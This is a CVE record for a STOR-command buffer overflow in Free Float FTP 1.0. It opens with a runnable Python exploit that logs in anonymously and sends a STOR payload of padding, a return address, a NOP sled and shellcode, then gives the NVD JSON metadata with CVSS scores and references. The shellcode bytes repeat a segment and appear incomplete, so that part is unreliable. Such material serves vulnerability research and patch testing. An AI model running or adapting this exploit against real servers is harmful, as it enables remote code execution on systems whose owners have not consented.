CVE-2019-25614

import socket import sys # Target configuration target_ip = "192.168.1.100" target_port = 21 # Payload construction # Padding to reach the return address offset padding = b"A" * 247 # Return address (JMP ESP example address, needs adjustment for specific environment) ret_addr = b"\xAF\x11\x50\x62" # NOP sled nop_sled = b"\x90" * 16 # Simple calc.exe shellcode (example) shellcode = b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5f\x83\xc7\x04\x31\xc9\xb1\x33\x31\x47\x19\x83\xc7\x04\x03\x47\xf7\xe2\xb6\x61\x35\xe9\x02\x7c\x46\x78\x15\x74\x4a\x07\x0e\x6f\x0d\x61\x35\xe9\x02\x7c\x46\x78\x15\x74\x4a\x07\x0e\x6f\x0d" payload = padding + ret_addr + nop_sled + shellcode try: # Connect to FTP server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # Receive banner s.recv(1024) # Anonymous Login s.send(b"USER anonymous\r\n") s.recv(1024) s.send(b"PASS anonymous\r\n") s.recv(1024) print("[+] Logged in anonymously") # Send malicious STOR command # The filename contains the overflow payload exploit_cmd = b"STOR " + payload + b"\r\n" s.send(exploit_cmd) print("[+] Malicious STOR command sent") s.close() except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2019-25614", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:29.930", "lastModified": "2026-03-23T19:42:13.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Free Float FTP 1.0 contains a buffer overflow vulnerability in the STOR command handler that allows remote attackers to execute arbitrary code by sending a crafted STOR request with an oversized payload. Attackers can authenticate with anonymous credentials and send a malicious STOR command containing 247 bytes of padding followed by a return address and shellcode to trigger code execution on the FTP server."}, {"lang": "es", "value": "Free Float FTP 1.0 contiene una vulnerabilidad de desbordamiento de búfer en el gestor del comando STOR que permite a atacantes remotos ejecutar código arbitrario enviando una solicitud STOR manipulada con una carga útil excesiva. Los atacantes pueden autenticarse con credenciales anónimas y enviar un comando STOR malicioso que contenga 247 bytes de relleno seguidos de una dirección de retorno y shellcode para desencadenar la ejecución de código en el servidor FTP."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freefloat:freefloat_ftp_server:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "A9C3D4BD-07C8-4E11-8B6C-6CBBA66F0725"}]}]}], "references": [{"url": "http://www.freefloat.com/software/freefloatftpserver.zip", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.exploit-db.com/exploits/46763", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/free-float-ftp-stor-command-remote-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}